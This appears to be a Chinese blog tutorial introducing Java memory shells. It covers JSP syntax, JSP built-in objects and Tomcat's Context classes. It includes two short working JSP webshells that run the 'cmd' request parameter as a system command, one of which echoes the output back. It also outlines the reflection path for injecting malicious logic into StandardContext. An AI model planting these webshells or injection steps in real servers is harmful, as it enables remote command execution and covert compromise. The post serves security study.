内存马系列--内存马介绍

参考文章:

这篇文章我们来学习内存马和 JSP 的基础知识,打好基础

内存马如今发展出了三大类型:

  1. servlet-api类
    • filter型
    • servlet型
  2. spring类
    • 拦截器
    • controller型
  3. Java Instrumentation类
    • agent型

JSP 基础

JSP概述

JSP(Java Server Pages),是Java的一种动态网页技术。在早期Java的开发技术中,Java程序员如果想要向浏览器输出一些数据,就必须得手动println一行行的HTML代码。为了解决这一繁琐的问题,Java开发了JSP技术。

JSP可以看作一个Java Servlet,主要用于实现Java web应用程序的用户界面部分。网页开发者们通过结合HTML代码、XHTML代码、XML元素以及嵌入JSP操作和命令来编写JSP。

当第一次访问JSP页面时,Tomcat服务器会将JSP页面翻译成一个java文件,并将其编译为.class文件。JSP通过网页表单获取用户输入数据、访问数据库及其他数据源,然后动态地创建网页。

JSP环境搭建

IDEA 里面内置了 JSP 的项目框架,可以直接搭建

image-20260402105646317

参考:

Servlet 项目搭建 | Drunkbaby’s Blog

JSP语法

脚本程序

脚本程序可以包含任意量的Java语句、变量、方法或表达式,只要它们在脚本语言中是有效的。脚本程序的格式如下:

1
<% 代码片段 %>

演示:

1
2
3
4
5
6
<html>  
<body>  
<h2>Hello World!!!</h2>  
<% out.println("GoodBye!"); %>  
</body>  
</html>

声明

一个声明语句可以声明一个或多个变量、方法,供后面的 Java 代码使用。JSP 声明语句格式如下:

1
<%! 声明  %>

同样等价于下面的XML语句

1
2
3
<jsp:declaration>   
代码片段
</jsp:declaration>

演示:

1
2
3
4
5
6
7
<html>
<body>
<h2>Hello World!!!</h2>
<%! String s= "GoodBye!"; %>
<% out.println(s); %>
</body>
</html>

在脚本里面也是可以直接进行声明

1
2
3
<%  
    int i = 3;  
%>

表达式

1
<%= 表达式 %>

等价于下面的XML表达式

1
<jsp:expression>   表达式</jsp:expression>

演示:

1
2
3
4
5
6
<html>
<body>
<h2>Hello World!!!</h2>
<p><% String name = "Piggy"; %>username:<%=name%></p>
</body>
</html>

指令

JSP指令用来设置与整个JSP页面相关的属性。

下面有三种JSP指令:

img

比如我们能通过page指令来设置jsp页面的编码格式

1
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

回显是一样的,因为 JSP 属于模板引擎

注释

1
<%-- 注释内容 --%>

JSP内置对象

JSP有九大内置对象,他们能够在客户端和服务器端交互的过程中分别完成不同的功能。其特点如下

  • 由 JSP 规范提供,不用编写者实例化
  • 通过 Web 容器实现和管理
  • 所有 JSP 页面均可使用
  • 只有在脚本元素的表达式或代码段中才能使用
对 象 类型 说 明
request javax.servlet.http.HttpServletRequest 获取用户请求信息
response javax.servlet.http.HttpServletResponse 响应客户端请求,并将处理信息返回到客户端
out javax.servlet.jsp.JspWriter 输出内容到 HTML 中
session javax.servlet.http.HttpSession 用来保存用户信息
application javax.servlet.ServletContext 所有用户共享信息
config javax.servlet.ServletConfig 这是一个 Servlet 配置对象,用于 Servlet 和页面的初始化参数
pageContext javax.servlet.jsp.PageContext JSP 的页面容器,用于访问 page、request、application 和 session 的属性
page javax.servlet.jsp.HttpJspPage 类似于 Java 类的 this 关键字,表示当前 JSP 页面
exception java.lang.Throwable 该对象用于处理 JSP 文件执行时发生的错误和异常;只有在 JSP 页面的 page 指令中指定 isErrorPage 的取值 true 时,才可以在本页面使用 exception 对象。

传统内存马

1
2
3
<% 
	Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

image-20260402125017170

带回显的JSP木马

1
2
3
4
5
6
7
8
9
10
11
12
<% if(request.getParameter("cmd")!=null){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.print(new String(b));
    }
    out.print("</pre>");
}
 
%>

image-20260402125534413

传统的JSP木马特征性强,且需要文件落地,容易被查杀。因此现在出现了内存马技术。Java内存马又称”无文件马”,相较于传统的JSP木马,其最大的特点就是无文件落地,存在于内存之中,隐蔽性强。

  • 利用Java Web组件:动态添加恶意组件,如Servlet、Filter、Listener等。在Spring框架下就是Controller、Intercepter。
  • 修改字节码:利用Java的Instrument机制,动态注入Agent,在Java内存中动态修改字节码,在HTTP请求执行路径中的类中添加恶意代码,可以实现根据请求的参数执行任意代码。

java.lang.instrument 是 JRE 提供的一套“官方后门”。它允许你在程序运行时,直接拦截并修改已经加载到内存中的类。

  • Transformer(转换器):你编写一个类,实现 ClassFileTransformer 接口。这个接口就像一个“滤镜”,当 JVM 加载或重新定义某个类时,字节码会流经这个滤镜,你可以趁机修改它。
  • Retransform(重转换):即使 Tomcat 已经启动很久了,某个类(比如 HttpServlet)早已加载,你依然可以通过 retransformClasses 强制让它重新加载,并套用你的“滤镜”。

Tomcat 中的三个 Context 的理解

Context

在 Tomcat 架构中,Context 是 Container(容器)家族中的三兄弟之一。它的逻辑地位如下:

  • Engine:大主管(整个引擎)。
  • Host:房东(虚拟主机,如 localhost)。
  • Context:租客(具体的 Web 应用)。

核心职责: 一个 Context 就代表一个运行中的 Web 项目(比如你刚创建的 demo 项目)。它负责管理这个应用里所有的 Servlet、Filter、Listener 以及静态资源。

Context元素代表一个Web 应用程序,它在特定的虚拟主机中运行。

处理每个 HTTP 请求的 Web 应用程序,都是基于将请求 URI 的前缀与每个定义的**Context的Context路径进行匹配**。 一旦选择,该Context将根据 Web 应用程序部署定义的 servlet 映射选择适当的 servlet 来处理传入请求。

可以根据需要定义任意数量的Context元素。每个Context必须在Host中具有唯一的Context名称。Context路径不需要是唯一的(参考并行部署)。此外,必须定义一个0长度的Context路径。这个Context 成为此虚拟主机的默认 Web 应用程序,用于处理与任何其他 Context 的Context路径不匹配的所有请求

ServletContext

ServletContext是Servlet规范中规定的ServletContext接口,一般servlet都要实现这个接口。

规定了如果要实现一个WEB容器,他的Context里面要有这些东西:获取路径,获取参数,获取当前的filter,获取当前的servlet等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package javax.servlet;
 
 
import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Enumeration;
import java.util.EventListener;
import java.util.Map;
import java.util.Set;
import javax.servlet.ServletRegistration.Dynamic;
import javax.servlet.descriptor.JspConfigDescriptor;
 
 
public interface ServletContext {
    String TEMPDIR = "javax.servlet.context.tempdir";
 
    String getContextPath();
    ServletContext getContext(String var1);
    int getMajorVersion();
    int getMinorVersion();
    int getEffectiveMajorVersion();
    int getEffectiveMinorVersion();
    String getMimeType(String var1);
    Set getResourcePaths(String var1);
    URL getResource(String var1) throws MalformedURLException;
    InputStream getResourceAsStream(String var1);
    RequestDispatcher getRequestDispatcher(String var1);
    RequestDispatcher getNamedDispatcher(String var1);
    /** @deprecated */
    Servlet getServlet(String var1) throws ServletException;
    /** @deprecated */
    Enumeration getServlets();
    /** @deprecated */
    Enumeration getServletNames();
    void log(String var1);
    /** @deprecated */
    void log(Exception var1, String var2);
    void log(String var1, Throwable var2);
    String getRealPath(String var1);
    String getServerInfo();
    String getInitParameter(String var1);
    Enumeration getInitParameterNames();
    boolean setInitParameter(String var1, String var2);
    Object getAttribute(String var1);
    Enumeration getAttributeNames();
 
    void setAttribute(String var1, Object var2);
 
    void removeAttribute(String var1);
 
    String getServletContextName();
    
    Dynamic addServlet(String var1, String var2);
 
    Dynamic addServlet(String var1, Servlet var2);
 
 
    Dynamic addServlet(String var1, Class var2);
 
     extends Servlet> T createServlet(Classvar1) throws ServletException;
 
    ServletRegistration getServletRegistration(String var1);
 
    Map ? extends ServletRegistration> getServletRegistrations();
 
    javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2);
 
    javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2);
 
    javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class var2);
 
     extends Filter> T createFilter(Classvar1) throws ServletException;
    FilterRegistration getFilterRegistration(String var1);
    Map ? extends FilterRegistration> getFilterRegistrations();
    SessionCookieConfig getSessionCookieConfig();
    void setSessionTrackingModes(Setvar1);
 
    Set getDefaultSessionTrackingModes();
 
    Set getEffectiveSessionTrackingModes();
 
    void addListener(String var1);
     extends EventListener> void addListener(T var1);
 
    void addListener(Class var1);
     extends EventListener> T createListener(Classvar1) throws ServletException;
    JspConfigDescriptor getJspConfigDescriptor();
    ClassLoader getClassLoader();
    void declareRoles(String... var1);
}

可以看到ServletContext接口中定义了很多操作,能对Servlet中的各种资源进行访问、添加、删除等。

ApplicationContext

在Tomcat中,ServletContext规范的实现是ApplicationContext,因为门面模式的原因,实际套了一层ApplicationContextFacade。(门面模式简单来讲就是加一层包装,将一部分功能模块化,调用的时候直接调用模块。也可以理解为 AOP 吧。具体可以看这个JAVA设计模式之门面模式(外观模式) | 菜鸟教程)

其中ApplicationContext实现了ServletContext规范定义的一些方法,例如addServlet,addFilter等

StandardContext

org.apache.catalina.core.StandardContext是子容器Context的标准实现类,其中包含了对Context子容器中资源的各种操作。四种子容器都有其对应的标准实现如下

img

而在ApplicationContext类中,对资源的各种操作实际上是调用了StandardContext中的方法

img

1
2
3
4
5
6
...
@Override
    public String getRequestCharacterEncoding() {
        return context.getRequestCharacterEncoding();
    }
...

三个 Context 总结

img

ServletContext 接口 规范定义,定义了你能做什么,但不负责具体怎么做。到ApplicationContextFacade 类 为了安全隔离,这个类只持有一个 ApplicationContext 的引用。如果你尝试通过反射在业务代码里修改它,你摸到的只是这个“壳子”。ApplicationContext 类是 ServletContext 接口在 Tomcat 里的直接实现,它持有一个 StandardContext 的实例引用(通常变量名叫 context),实现基本上都是在“转发请求”。当你调用 ApplicationContext.getServerInfo() 时,它内部其实是去问 StandardContext。最后在StandardContext 类真正实现。

所以我们在进行后续对于内存马操作的时候:

第一步:在 JSP 或 Servlet 中,你拿到的是 ApplicationContextFacade。

第二步:通过反射,获取 ApplicationContextFacade 的私有属性 context(类型为 ApplicationContext)。

第三步:再次通过反射,获取 ApplicationContext 里的私有属性 context(类型为 **StandardContext**)。

最后:对 StandardContext 进行“手术”,塞入你的恶意逻辑。


内存马系列--内存马介绍
http://example.com/2026/04/01/内存马系列--内存马介绍/
作者
Piggy Sprint
发布于
2026年4月1日
许可协议